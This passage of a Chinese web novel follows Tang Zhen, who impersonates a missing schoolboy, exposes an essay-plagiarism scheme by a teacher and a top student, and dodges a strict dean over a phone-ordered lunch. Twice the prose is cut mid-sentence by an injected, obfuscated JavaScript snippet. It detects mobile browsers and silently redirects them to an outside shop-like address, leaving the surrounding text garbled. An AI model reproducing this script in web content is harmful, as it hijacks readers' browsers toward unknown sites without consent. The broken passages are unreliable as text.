突然,汤振想起了上午看到的高二年级前十的榜单,第一名伍泓,第二名申雅丽……这两人的照片让汤振印象深刻,眼前的这个女生,不就是申雅丽么?! 汤振心里感到庆幸,眉宇也舒展开来,声音也跟着自信起来:“哦,对了,申雅丽,这两天开学考试,你考得怎么样?这学期高三了,压力应该挺大的吧?” 汤振刻意叫了申雅丽的名字,希望能为自己的演技加分。 申雅丽脸上的神色渐渐显得委屈,“唉,不怎么样。昨天上午考了语文,今天已经在统计语文的分数了,然后我又被语文老师批评了一顿。你知道的,作文一直都是我的弱项,不然上学期我可能就考年级第一了。高三压力是大一点,不过我会继续努力的。” 汤振听见“又”这个字,便开始在脑海里疯狂思考:这说明语文老师可能不是第一次为难她,自己顺着这个话聊下去,也许可以再伪装得像一点。 “语文老师怎么又挑你的刺儿?” “还不是说我作文写得不好,可是我已经很努力了,”申雅丽既像是在抱怨语文老师,又像是在抱怨自己,“她真的好喜欢打击我,我准备了一个暑假,想参加明天的校级作文大赛,结果我的作文又没被她选上。” 汤振故作惊讶,应道:“是很过分,学生还是要多鼓励。” “还有更过分的呢!”申雅丽继续补充,“说起作文大赛这个事儿,我就想起她还把其他同学作文里面优秀的内容摘抄出来,加到由她选好的参赛者的作文里面去。” 汤振大惊,“这也太不公平了!我高一的时候怎么没发现语文老师是这样的人?” “啊?这不是你高一下学期偷偷告诉我的吗?” “啊,我……” 汤振心里恨自己说话怎么这么不经思考,越想要装得像,反而越是暴露得快。 一旁的于浩宁插嘴道:“哦,他得了创伤后应激障碍,有些事情忘记了。” 汤振强颜笑了一下,也附和道:“就是这样的,我有时候会忘一些事情,你别介意。” 申雅丽的神色慢慢放松,静静盯着汤振看了片刻,缓缓点了点头,说道:“好吧,你还是要多休息。那就别听我吐槽了,聊聊你失踪的这一年都干了些什么吧?” 听到这里,汤振心里一沉,连连拒绝,“这个……我还要和我弟去找班主任核对一下刚领的教材数量对不对,你先去休息吧。” 闻言,申雅丽点了点头,“也行,那你俩快去忙啊,回头有时间再聊。我先去歇会儿,等下四点到六点还有最后一堂开学考试呢。” 说完,汤振便挥了挥手,看着申雅丽下了楼梯。 于浩宁适才好奇地问:“你怎么知道她名字?” “上午在年级前十的榜单上看到过她的照片,”汤振答道,“还好她是个学霸,上了榜单,不然我可猜不出她叫什么名字。” 于浩宁将背靠在墙上,神色逐渐放松,调侃道:“也多亏你记性不错。不过我上个月也说了嘛,不确定的事情就闭嘴,言多必失。” 汤振抚了抚胸口,疲惫地说道:“你说的也对,想要刻意演出那种感觉确实挺难的。那我还是老老实实回教室里待着吧。” 于浩宁看着满头大汗的汤振,心里也跟着松了一口气,答应道:“那你晚自习就在教室里好好休息吧。” 太阳渐渐西沉,将校园里树木和建筑物的影子拉得悠长,晚霞倒映在教室一侧的窗户玻璃上,像盛开的秋海棠。 于是,开学第一天的整个晚自习,除了吃饭上厕所,汤振和于浩宁几乎没有出过教室,无聊的时候,两人就翻翻新书,看看书上有哪些插图适合用签字笔搞“二次创作”。 随着晚自习的下课铃声响起,终于到了回家的时候,窗外早已是一片漆黑的寂静。 汤振只感觉心里的石头落了地,开学第一天,总算是应付了过去。 7. 抄袭风波 9月2日,初秋的阳光依然刺眼,将浥鸣县二中的柏油路照得泛起一层白光。 教学楼的走廊里,教导主任走在前面,黑色矮跟皮鞋在水磨石地板上踩出清脆而有节奏的声响,汤振跟在她身后半步的距离,手里攥着刚领到的几张校服申请表。 “昨天下午让你在走廊上罚站,你心里别有怨气,”教导主任说话头也不回,但那股压迫感却顺着空气传到汤振耳边,“我知道你停学了一年,可能沾染了一些自由散漫的习惯,但既然重新回来了,以前的那些坏习惯就必须统统给我收起来。” 汤振头虽然低着,却抬眉扫过走廊两侧的监控和各个教室的门牌,乖巧地应和道:“是的主任,我昨天确实冲动了。” “拿你开这个头,也是为了给今年的新生们提个醒,”教导主任叹了口气,语气稍有缓和:“以前就是我太疏忽大意,总觉得重点中学的学生靠自觉就行,结果弄得学校里乌烟瘴气,上学期期末县领导来检查,对我们学校特别不满意。从这学期开始,校规从严,你作为复学的典型,更要老实一点。” “明白,主任放心。”汤振自认为答得滴水不漏,在他的认知里,面对强势人物,要顺着毛捋。 两人顺着长廊往前走,下课铃声正好响起,原本安静的教学楼瞬间像沸水般喧闹,学生们三三两两地涌出教室。 汤振和教导主任来到了造型宏伟的博学楼。 教导主任停下了脚步,看了看手表,眉头微皱道:“行了,你自己去后勤部把校服领了,我还要去里面的博学厅盯一下校级作文大赛。总之,你要记住我的话,不要惹事。” “好的,主任,您慢走。” 看着教导主任急匆匆离去的背影,汤振长舒了一口气,转身朝着后勤部的方向走去。 领完新校服,汤振拿着满是塑料味的包装袋往教学楼走去,恰好路过了博学厅。 博学厅是博学楼里面最大的阶梯报告厅,因讲台前的舞台十分宽敞,有时也被用作各种小型比赛的场地。 此时,博学厅的两扇华丽的实木门敞开着,里面零零散散坐着几十个人,前排是校领导和一众评委,后排坐着各个班派来当观众的几个学生,当然,一般只找当堂课是副科课的学生来充当观众。 博学厅里的气氛庄重而肃穆,讲台上,一束追光灯直直地打在演讲人员站着的位置。 汤振本想直接离开,但那种属于校园特有的隆重感让他忍不住停下了脚步,他靠在后的门框上,一时贪看,停下了脚步。 于浩宁的声音突然传来:“哥,你站在这里做什么,不是去领校服了吗?” 汤振指了指里面,“哦,刚领完校服,顺便看看热闹。” “看什么热闹,快走快走,该去上课了,”于浩宁用低沉的声音说着:“第三节课是咱们班的第一节地理课,那个老师出了名的严格,要是迟到,恐怕又要被请去办公室了。” “行,这就走。”汤振无奈地调整了一下手里的校服袋子,转身准备离开。 就在这时,博学厅的音响里传来一个男生背诵参赛作文的声音: “在多元文化的交汇处,我们并非失去了自我,不同的文化只是一面面不同的镜子,折射出我们内心深处的……” 顿时,汤振迈出去的脚步僵在了半空中,他几乎不敢相信自己的耳朵。 前天晚上,汤振在于浩磊的书桌抽屉深处看到了一篇半成品作文,于浩宁说,那篇作文还给语文老师看过两次。 台上男生此刻背诵的每一个字、每一个词、以及哪些略显拗口的排比句,简直和抽屉里那份手稿一模一样! 汤振又猛然想起,昨天下午在走廊上,申雅丽满脸委屈地告诉自己,“她还把其他同学作文里面优秀的内容摘抄出来,加到由她选好的参赛者的作文里面去”。 原来这都是真的,而且此时此刻就发生在自己眼前。 “哥,你怎么了?”于浩宁见汤振愣在原地,又拉了他一下。 汤振回过神来,他的目光越过观众,远远盯着台上的演讲者——好巧不巧,这人不就是年级第一吗?本人简直和照片一模一样。 汤振还记得,这个人名叫伍泓,和申雅丽念同一个班,榜单上都写着呢,自己昨天早上才见过。 伍泓现在背诵的参赛作文,和于浩磊抽屉里的那份手稿一字不差。 “不同的文化只是一面面不同的镜子,折射出我们内心深处的……” 伍泓正背到关键部分,却突然卡壳了,足足停顿了三秒钟。 整个博学厅顿时陷入了令人窒息的尴尬,评委也皱起了眉头。 就在伍泓准备跳过这句话时,从最后一排传来汤振的声音: “——折射出我们内心深处的斑驳,并以更广阔的锚点,去丈量世界的参差。” 汤振的声音散漫却又极具穿透力,准确无误地把后半句给接上了。 话筒音响突然“嗡”地尖锐一振,博学厅全场哗然。 几十双眼睛齐刷刷地转了过来,于浩宁惊讶得呆在原地,下意识地想捂住汤振的嘴,但为时已晚。 汤振单手拎着校服袋子,大腿靠着桌沿,嘴角挂着一个似笑非笑的弧度。 评委席旁的教导主任远远看到汤振,脸色瞬间黑如锅底,厉声斥道:“于浩磊,你又捣什么乱,你怎么知道人家下一句要说什么?” 汤振迎着全场的目光,脸上没有一丝怯场,他过去摸爬滚打造就的强大心理素质,在这一刻化作了极具压迫感的气场,只不紧不慢地迈着步子,顺着过道往前走,目光锁定在台上脸色苍白的伍泓身上。 汤振的声音不大,却清楚地传遍了博学厅的每一个角落:“你问我怎么知道?主任,这不是我的作文吗?” 此言一出,博学厅内顿时热闹了起来,观众们交头接耳,几名评委和校领导皆面面相觑。 “你是……”坐在第二排的女老师突然站了起来,她神色慌乱,声音尖锐:“你是于浩磊!你,你,你先不要打断比赛,等下去办公室说。” 一名评委看向那位慌张的老师,皱眉问道:“罗老师,你带的学生是怎么回事?” 罗老师面露难色,声音越来越小:“评委老师,我……这,这就是我学生自己的原创作文呀。” 汤振心里一沉:这位罗老师多半就是申雅丽说的那个语文老师,现在还敢大言不惭地说什么原创作品。 “是不是原创,问问作者不就知道了,”汤振笑道。 全场再次看了过来,汤振直接无视所有目光,几步跨到讲台前,仰头看向伍泓,语气里带有几分质问: “既然是你写的,那么请问伍泓同学,你第三段用‘斑驳’和‘参差’这两个词的写作意图是什么,你想表达西方古典哲学里的哪种辩证关系?” 伍泓的脸色从白变红,眼神一动不动地看着汤振,满眼皆是不可置信的神色。 汤振目光也未曾闪躲,与伍泓激烈又安静地对视着。 伍泓答得结结巴巴:“这两个词,主要是体现……” 不等伍泓说完,汤振眼珠一转,脸上的笑容十分得意,他转过身,面向全场,郑重地介绍道: “其实,这篇《与世界握手》还有一个奥妙之处,如果这篇作文拿了奖,那就会按照每行二十个字的排版印刷出来,到时候大家就能发现,从第二段开始,每行的第四个字竖着连起来,还是一首精妙绝伦的藏头诗!当然,伍泓同学作为抄袭者,肯定是不知道这个奥秘的。在座的各位,你们可以重新排列一下稿子每行的字数,然后自己数一数。” 汤振的心里又开始七上八下:可千万别数啊!这只是自己临时编出来诈伍泓的,根本没有什么藏头诗。 听了汤振说的奥秘,全场皆发出一阵低呼。 汤振复又转过身,逼视着伍泓,“这位原创选手,你既然写得出这篇作文,那你给大家解释解释,你这首藏头诗的深层含义是什么,讽刺了什么?” “这……这作文已经修改过无数次了,哪有什么藏头诗!”伍泓怒道。 “只改过两次!”汤振的声音回荡在博学厅内:“我都站在这里了,你还想狡辩,是不是以为我失踪了就永远不会回来了?我现在就可以回家把原稿拿过来,到时候你就知道什么叫一点面子都不给你留。” 伍泓咬紧牙关,额侧的青筋微微凸起,眼神死死地盯着汤振,良久,仍不说半个字。 整个博学厅陷入了比伍泓卡壳时更恐怖的死寂。 汤振看向罗老师,说道:“既然参赛选手不承认,那就采访一下辅导老师吧。罗老师,您要不要我把去年给您发邮件的记录投影到大屏幕上?” 所有人的目光如聚光灯一般,投向了脸色惨白的罗老师。 汤振脑海中又浮现出了申雅丽昨天委屈的表情,他远远盯着罗老师,声音掷地有声:< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17575460|205002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “伍泓上学期能考年级第一,他的实力大家有目共睹,所以我认为他应该做不出抄袭这种事情。只可惜,罗老师监守自盗,把别人的心血拿来做人情,这种事情居然能发生在我们浥鸣二中。” “于浩磊你闭嘴,”教导主任拍案而起,但她的目光却看向了满脸惊恐的罗老师。 教导主任的脸几近扭曲,汤振看在眼里,心里却只想看热闹,十几分钟前教导主任还在走廊上大谈特谈“校规从严”,结果一转头,就在校级赛场和领导的眼皮子底下发生了老师盗用失踪学生作文的惊天丑闻,等于是打了教导主任的脸。 回想起自己从前在街头游刃有余的经历,汤振只觉得此刻终于为昨天下午的罚站出了口气。 博学厅里的氛围越来越尴尬。 校长脸色铁青,清了清嗓子,对着话筒道:“取消这名选手的比赛资格,语文教研组组长、教导主任,以及罗老师,你们在比赛结束后,马上到我办公室一趟!” 在一片议论声中,伍泓呆若木鸡地走下了讲台,换了下一位参赛选手继续比赛。 台下的众人也重新恢复了状态。 汤振没有再看伍泓一眼,只拎着校服袋子,大步跨出了博学厅,身后远远响起了下一位参赛选手的声音。 楼梯口旁开着一扇窗,旁边的枝丫上传来阵阵鸟鸣,汤振一边走一边听,心里舒坦极了,忽然,于浩宁一把拉住了他。 “你怎么能那样做呢,”于浩宁的胸膛上下起伏,眼底满是惊恐,压低声音道:“你知不知道你刚才在干什么?” 汤振靠在冰冷的墙壁上,从塑料袋里抽出一件外套搭在肩上,“没干什么啊,顺路抓到了小偷和幕后黑手而已。” “那篇作文你前天晚上才看了一遍,”于浩宁不可思议地看着汤振,“你怎么接得上那句话?” “这很难吗,”汤振漫不经心地应道:“以前我可是记得每条街每个监控的位置,记得每个小区保安换班的时间。更何况,你哥那篇作文写得确实有水平,那个排比句我多看了两眼就记住了。” “那,那什么藏头诗呢?你只看了手稿,怎么可能知道排版后……” “我乱说的呗,”汤振打断道:“对付这种作贼心虚的人,随便诈他一下,他就原形毕露了。你不觉得很精彩吗?” “精彩什么,你觉得是在玩游戏吗?”于浩宁终于提高了音量,眼眶有些发红,“你根本就没有在演我哥,我哥遇到这种事,绝对不可能像个混混一样冲上去对峙。” 于浩宁的声音让窗外的几只麻雀扑着翅膀飞走了,枝丫还在轻微晃动。 汤振收敛了一下表情,他站直了身体,目光渐渐变得锐利,声音很低却又不容置疑: “于浩宁,我在外面这么久,有一条重要的规矩就是讲义气,我既然用了你哥的身份,我就得护着他的东西。你哥辛辛苦苦写了一个暑假的参赛作品,被人偷去卖好,我作为你哥,当场发个火生个气,拿回属于自己的东西,怎么就不行了?难道你哥那样的好学生被欺负了就只会忍气吞声?” 空气几乎快要凝固,上课铃也不合时宜地响了起来,铃声尖锐刺耳,直叫汤振心里一阵颤抖。 “你不用操心这么多,”于浩宁的眼眶里盈着一点湿润,“那你为什么不跟我商量,万一有更好的办法呢?你突然就冲上去,你就没有想过后果?” “能有什么好办法,能有什么后果?”汤振的语气稍微加重:“谁让伍泓念个稿子都能卡壳,我当时是顺嘴接下去了。机会就摆在眼前,哪来时间商量?要是在街头,犹豫一秒钟,说不定底牌都没了。” “这里不是街头啊,是学校。” 于浩宁闭上了嘴,静静地看着眼前的人。 汤振亦直视着于浩宁,一言不发,骨子里却比几分钟前多了几分桀骜不驯。 看着于浩宁湿润的眼眶,汤振深吸了一口气,烦躁地抓了一下自己的头发,将脸侧了过去。 于浩宁也没有再说话,转身一言不发地朝着教室的方向走去,声音回荡在安静的大厅里:“这节课是我们班第一节地理课,老师很严格”。 大厅里,只剩下汤振一个人呆呆地望着于浩宁离去的背影,初秋的风穿过敞开的窗户吹在身上,带来一丝凉意。 汤振将肩膀上搭着的校服外套扯了下来,规规矩矩地穿在了身上,踩着脚下的水磨石地板,一步一步朝教学楼走去。 8. 冒牌课代表 上课已经10分钟,汤振才从博学厅走回高一3班的教室。 “报告,老师。” 汤振嗓子有些哑,要不是因为他个子高挡住了一些光,地理老师都没注意到他。 讲台上,地理老师手里捏着教棍,脸色铁青,镜片后的那双眼睛朝门口看了过来,但当他看到汤振的脸时,目光又顿时和蔼了不少,温和地嘱咐道:“快去座位上坐好吧,以后别迟到这么久。” 汤振捏了一把汗,轻手轻脚地坐回了座位上。 地理老师翻开教案,笑着看向汤振,“你失踪之前,地理考试可是经常拿年级第一呀!虽然第一节课咱们还没学到这儿,但是老师还是想看看你究竟还记得多少,你来给同学们说一下,温带海洋性气候的典型特征是什么,对植被和农业有什么影响?” 全场的目光“唰”地一下集中在汤振身上。 汤振的脑海中只闪过了东街的台球厅和西巷的修车铺,他连“气候”前面的几个字都没听清,更别提什么植被和农业了。 汤振喉结上下一动,用手肘轻轻推了推于浩宁的肩膀,但于浩宁只稳稳地坐着,头也不抬地盯着课本,看起来没有要帮忙的意思。 教室里安静得连针掉在地上都听得见,几秒钟的静谧后,汤振想起了自己编造的荒岛漂流谎言,遂脸颊绯红,大胆地开口道: “呃……老师,别的特征我不知道,但在那种四面都是海的孤岛上,气候的特征就是……风特别大,雨说下就下。至于对植被的影响,就是……木头全都是湿的,拿打火石怎么点都点不燃,晚上连口热水都喝不上,人们的生活非常艰难。” 前排一个正在喝水的男生一口喷在了桌面上,整个教室像个被点燃的火药桶,爆发出一阵笑声,还有人拍起了桌子。 地理老师骤然绷紧了脸上的肌肉,用教棍狂敲讲台,“安静,安静!于浩磊,你是在写漂流记吗?你失踪一年,多半把脑子也留在海里了。” 汤振极其无辜地摊开双手,“老师,读万卷书不如行万里路,这是我的亲身体验。” 地理老师怒极反笑,“看来你不仅需要恶补地理,还需要收收心,恢复你以前的状态,从今天起,你就是我的地理课代表,下节课我还要继续抽查你这节课的内容,回去记得好好复习今天学的内容。好了,继续上课!” 汤振无奈地低下了头,余光看了看于浩宁,还用胳膊肘轻轻地碰了碰他。 于浩宁却迅速把胳膊抽了回去,自顾自地拿着笔盯着课本,课本上却干干净净。 汤振自知理亏,但内心却仍不认为自己在博学厅的行为有多么不恰当。 “差不多行了啊,浩宁,”汤振压低声音,语气里带着一丝服软的意味:“我真的不是故意的……再说了,我不是没露馅儿吗?” 于浩宁没有转头,只是冷冷地翻过一页书,总算是开口说了话:“博学厅的角落里有两台摄像机在录像,你以为是在街头打群架,拍拍屁股就能跑么?你不是在躲警察吗,万一这事儿闹大了,谁知道你的录像会不会出现在网络上……” 这句话像一根针扎中了汤振的神经深处,他一时语塞,毕竟确实没有想到学校里的这套电子眼睛。 汤振旋即答道:“警察就算看见了也只会认为我是你哥呗……”说完,汤振便意识到这样的想法有多离谱,随即闭上了嘴。 于浩宁不再接话,只认真地读着地理课本。 地理老师讲完一小节知识点,对全班说道: “针对刚才讲的太阳对地球运行的影响,大家先自行讨论两分钟,可以和同桌讨论,也可以前后桌讨论。” 教室里渐渐热闹了起来,讨论声漂浮在了空气中,当然,也有人趁机聊天。 坐在汤振前面的男生回过头,满眼放光地说道:“磊哥,你今天真是胆大,刚才我们都听说了,高三的年级第一和语文老师你都敢正面硬刚,厉害呀!” 汤振微微蹙眉,“怎么伍泓很有背景吗?” 后面的男生也把身子努力往前凑,道:“这我们倒不知道,反正从高二开始就成了所有老师的掌上明珠。” “那他们班的语文老师呢?” “那就不知道了,好像是两年前刚毕业就开始带伍泓他们班。哦,你今天还当着教导主任的面揭穿他们,你以后怕是她重点关注的对象哦。” 前桌附和道:“是啊,教导主任这学期严格得像变了个人,好像是因为上学期市领导来视察,对咱们学校不满意。总之你注意点,千万别再惹她了。” 汤振表面上漫不经心地点头答应着,手指却无意识地转动着手里的签字笔。 几句八卦在汤振的脑海里迅速拼凑,一小时前的抄袭风波,他还有一些细节没想通。 虽说当初于浩磊的成绩确实比伍泓好,但伍泓也不至于冒着身败名裂的风险这么做吧……年级第二抄袭年级第一的半成品作文? 汤振联想到了今年校级作文大赛的主题“世界与文化”,《与世界握手》这篇作文里充斥着大量亲身经历的旅游见闻,从北半球的斗兽场写到南半球的部落,字里行间透着一种宏大的松弛感,汤振这点文化水平也描述不出那篇作文带给他的感受。或许,正是这种感觉,是伍泓写不出来的? “叮铃铃——” 下课铃声打断了汤振的思绪。 地理老师临走前,把一沓A4纸递到汤振手中,“课代表,这是今天全班的作业,明早收齐后交到我办公室。” 汤振接过这沓A4纸,心不在焉地点了点头。 等地理老师走出了教室,前桌转过身给汤振使了个眼色,“嘿,你们中午吃啥? “食堂有啥就吃啥呗。”汤振答道。 “学校食堂太难吃了,”前桌低声道:“我听高二的学姐说,上学期期末,校门口新开了一家超级好吃的瓦罐汤面。你们,去不去?” 一听到“校外”,汤振的眼神亮了一下,一想到刚才发生的这些糟心的事情,他也正想出去透透气。 “行啊,”汤振又转头看向于浩宁,“一起去不?” 于浩宁冷着将地理书放回书包,“你们去吧,我去食堂。” 汤振碰了一鼻子灰,遂不再自讨没趣,转而朝前桌的男生问道:“那我们下课就冲?” “那家店人很多,下课冲也来不及。”前桌回过头说道。 汤振二话不说,从书包深处掏出一部黑色手机,这是许艺岚为了方便联系,昨天专门去商场给汤振买的。 “那我直接发短信订餐不就行了,”汤振说道:“把餐厅的电话号码告诉我,我把人数和要点的菜发给老板就行了。” 汤振编辑着短信,前后桌两人替汤振望风,以防老师突然进教室。 编辑好短信,确认无误后,汤振便按了“发送”。 这时,坐在右边的丁航朝着汤振吹了一声怪声怪气的口哨。 丁航和汤振隔着一个过道,留着不太合规矩的发型,校服拉链也敞着,他斜靠着课桌,似笑非笑地看着汤振手里的手机。 “回归玩家的待遇就是好啊,”丁航看向汤振,“开学典礼才说过,不能带手机和随身听,你还敢拿出来订餐。” 汤振冷冷地瞥了丁航一眼,举起了握拳的右手,“你也想当回归玩家的话,我倒是可以帮你一把。” 丁航冷哼一声,起身走开了。 大课间的广播体操预备音乐响了起来,走廊上渐渐挤满了赶去操场的学生。 汤振连忙收好手机,连同那一沓本该发给全班的A4纸,也一并塞进了书包,拉上拉链,拔腿就往教室外冲去。 太阳越升越高,操场上一片明媚,学生们按班级整齐站着,广播体操的音乐响了起来,初三和高三则围在跑道上,准备跑圈。 校长办公室这边,已经做出了决定。 罗老师无法为自己协助学生抄袭的行为辩解,校长和副校长一致认为应该先将罗老师停职处理。至于语文教研组组长和教导主任,皆按管理不善处置,具体处置方式下周再公布。 “好了,你们先出去吧,教导主任留下来。”校长冷脸说道。 待其余人离开后,校长关上了办公室的房门,怒目直视教导主任。 教导主任一言不发,任由校长炙热的目光投向自己。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17575461|205002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你到底有没有尽职尽责,”校长提高了嗓音,“上学期期末,市领导视察期间,你带学生去看会展,回来的路上一名学生发生意外,我们好不容易才处理好,今天你又让抄袭这种事情发生在我们二中,还是当着那么多外校评委的面!” 校长的脸“唰”地红到脖子根。 教导主任表情严肃地答道:“这次是我疏忽大意,也确实没想到会发生这种事情……” “你上次也是这么说的,”校长怒吼道:“你知不知道上学期期末因为这个事情,我们学校被市领导批惨了,你的饭碗都差点没保住!” 教导主任微微低下了头。 校长继续怒斥道:“要不是我当时拼命维护你,你以为这学期你还能在这里好好你的当教导主任吗?” “我很感谢您能给我一次机会,这次是我又让您失望了。”教导主任嘴角微颤。 “你说,我还要给你多少次机会?你说,你说说看!” 办公室里有了片刻的安静,只有操场上的广播体操音乐隐隐约约隔着窗户传进来。 校长的脸色渐渐缓和,缓慢在办公室里踱步,“算了,这件事,罗老师做得十分隐秘,你不知情也不怪你。但是你要记住,这机会不是我给你的,每年六月份,市领导都会来视察,我希望咱们学校一直到明年六月份,都不要再出什么事情。” 校长又立马补充道:“当然,明年六月以后,也不能出什么事情,我希望永远不要再出事情。” 教导主任整了整袖口,“是,我会履行好职责,请您放心。” “那我就等着看你表现吧!你可以回去了,记住,校规从严。”校长终于坐了下来,拿起一旁的茶杯。 教导主任轻轻推开了房门,信步走出了校长办公室,“咚咚”的脚步声在空旷的走廊里回荡。 中午放学时,日头正盛,骄阳格外刺眼。 一部分学生不喜欢在食堂用餐,络绎不绝地走出校门,四散到了校外街道上的各个餐馆里。 汤振与前桌的蒋朋、后桌的姜岩结伴而行,终于找到了学姐推荐的这家瓦罐汤面。 此时,距离放学还不到10分钟,这家面馆便渐渐坐满了学生。 汤振三人已经吃上了,要不是因为提前发短信订了餐,估计这会儿也得饿着肚子等。 咕噜冒着红油的三个瓦罐摆在桌上,浓郁的骨汤香气和辣椒的辛辣味混合着钻入鼻腔,极大地抚慰着一整个上午疲惫的心。 于浩宁没和自己一起来,汤振心里稍稍感到一丝失落,但随即又投入到了瓦罐汤面的美味中。 “咝——这味道真不错,过瘾!”旁边的姜岩感叹道。 汤振刚把一夹面放进小碗里,面馆门口便出现了一个冷如寒霜的身影。 原本嘈杂的面馆,在这一瞬间仿佛被按下了静音键。 汤振倒吸一口凉气,门口站着的人熟悉得不能再熟悉,又是教导主任! 教导主任皱着眉,朝面馆里看过来,却也不看其他人,只盯向汤振三人。 随后,教导主任踩着有些油腻的瓷砖地面,脚步“咚咚”地走到汤振桌前,扫了一眼三人吃了一半的瓦罐,又抬起手腕,看了看手表。 教导主任的声音不大,却带着极强压迫感:“才刚放学10分钟,你们都快吃了一半了。” 汤振咽了一口唾沫,尽管嘴里辣得想要吐气,也不敢张嘴。 教导主任目光如刀,“从教学楼走到校门口,起码要5分钟,煮瓦罐面条至少要15分钟,这还没算点餐的时间。怎么,你们三个,是会瞬移吗?还是说,你们课间偷偷翻墙溜出来过?” 蒋朋手中的筷子一抖,脱口而出:“我们,我们没有翻墙出来,这是提前订好的……” 汤振在心里暗骂了一声“猪队友”。 果然,教导主任的眼神如同老鹰盯住了猎物。 “呵,提前订好的?”教导主任双手抱胸,居高临下地问道:“学校有规定,严禁学生带手机到学校,你们,是用什么订的餐?” 气氛瞬间降至冰点,蒋朋的脸涨得通红,半天说不出一个字。 9. 记忆力 教导主任直勾勾地盯着汤振三人,如果不给出一个解释,怕是难以蒙混过关。 千钧一发之际,汤振深吸了一口气,强行切入平稳的语调。 “主任,”汤振态度诚恳,“是我早上上学经过这里的时候订的,我让老板提前煮好。我们一下课就马上跑过来了,所以才能这么快吃上。多耽误一会儿,面条就坨了……” 教导主任神色微变,不再理会汤振,只转过身,大步走向正在炉火前忙碌的面馆老板。 老板是个五大三粗的男人,却也整整齐齐地戴着厨师帽和透明塑料口罩,系着一条看不出底色的围裙,手法熟练地捞起一碗又一碗的面条,热气腾腾的白雾后面,老板黝黑的脸庞若隐若现。 “老板,”教导主任喊道:“那边坐着的三个学生,是今天早上路过的时候,跟你口头订的餐吗?” 汤振只感觉握拳的手心渗出了一层薄汗,这种生意红火的饭馆老板通常能清楚地记得每个顾客,如果他说一句“他们是发短信订的”,那今天就在这里崩盘了。 老板挥着长柄大勺的手停了一下,他放下手中的活儿,上下打量了一番教导主任那身格格不入的职业装,又瞥了一眼坐在角落里大气都不敢出的三个男生。 汤振心里已经做好了写检讨的准备了。 接着,老板用脖子上的白色毛巾擦了一下额头,透明塑料口罩的后面,露出一种不耐烦却又极其市侩的表情。 “是啊,”老板大着嗓门嚷嚷道:“就那个,个子最高的那个,早上七点在我这儿订的,当时我刚起床备菜呢,我能不记得吗?怎么,现在学生吃个面,学校还要管人家是怎么点菜的?” 听见老板说的话,汤振紧绷的心情骤然放松,长舒了一口气。 汤振几乎忍不住笑出声来,心里已经把这家店当成了长期备选。 教导主任“哦”了一声,将目光从老板脸上移开,脸色变了又变,但最终还是恢复了平静。 扫视店里一圈后,教导主任又朝老板道: “饭店的卫生也注意一下吧,来你这儿吃的大多都是学生,要是谁吃出问题了,我会建议学校禁止学生中午到校外来吃饭。” 说完,教导主任便转身踩着“哒哒”的皮鞋声走出了面馆。 直到那压迫感十足的背影消失,面馆里的时间才重新开始流动。 蒋朋无力地靠在在椅子背上,“太吓人了,磊哥,你……你可别怪我,都是我太蠢了。” 汤振摆摆手,没跟蒋朋计较,目光随后和老板对视上,汤振远远冲着老板竖了个大拇指,“谢谢啊,老板。” 老板低着头,熟练地往锅里撒着葱花,连眼皮都没抬,大声回应道: “小意思,开门做生意的,最烦别人挡财路。不过你小子以后机灵点儿,别再让人把火烧到我店里来。” 汤振笑了笑,“没问题!” 这顿饭的后半段三人吃得提心吊胆。 “教导主任这学期怎么变得这么严格?”姜岩一边嗦着面一边问道。 蒋朋也摇摇头,“只知道是上学期期末的时候有学生出了意外,市领导也对学校很不满意,可能是这个原因吧。” “你初中也是这个学校的么?”汤振问道。 “不是,但这种事情,多多少少都会听说一些。”蒋朋答道。 汤振点了点头,“看来以后还真要小心这个教导主任才行。” 几人埋着头迅速将面条吃得干干净净,起身付了钱,离开了饭馆。 一整个下午,汤振也试过和于浩宁搭话,但于浩宁总爱答不理的,汤振索性认真听起了课,毕竟一个月后就是高中的首次月考,自己既然接了这个“替身”任务,月考自然是要尽量拿高分的。 漫长的下午逐渐过去,太阳沉到了山的那边,短暂的余晖如一层金色薄雾,挂在浥鸣县上空。 天色越来越暗,暗黄的灯光一盏接着一盏,在整个县城的窗户中亮起。 夜空已挂满繁星,那些像飞蛾一样在街道上穿梭的汽车,也彻底融入了这漆黑的夜幕中,汤振和于浩宁穿过一个个街口,一路无话,回到了家。 两人坐在各自的书桌上,听着卧室里的白炽灯发出轻微的电流声。于浩宁背挺得笔直,手里的签字笔把草稿纸划得沙沙作响。汤振反跨着椅子坐在床边,用笔撑着下巴读地理书,同时用余光打量着旁边的于浩宁。 汤振斜着眼,缓缓抬起右脚,用脚尖碰了一下于浩宁的椅子,语气放软了三分,“今天早上这事儿算我欠考虑。但在外面混呢,别人都踩到你脸上了,你要是不亮亮刀子,以后谁都能来踩一脚。所以……你就当我是在替你哥立威吧。” 于浩宁“唉”了一声,平缓道:“立威也不是这么立的,毕竟这里也不是街头了。先不说这些了吧,明天地理老师还要继续抽查你呢,要是连今天讲的基础知识都背不下来,明天可能又要让老师起疑心了。” “行,我今晚不睡了,”汤振心里也松了口气,边说边把书包拿了过来,准备拿出直尺在书上勾勾画画。 拉开拉链的瞬间,一束白色的反光照进了汤振的视线。 汤振的手僵在了半空。 那是一沓整整齐齐的A4纸,最上面的一张页眉上,用手写笔迹赫然写着“9月2日晚作业”。 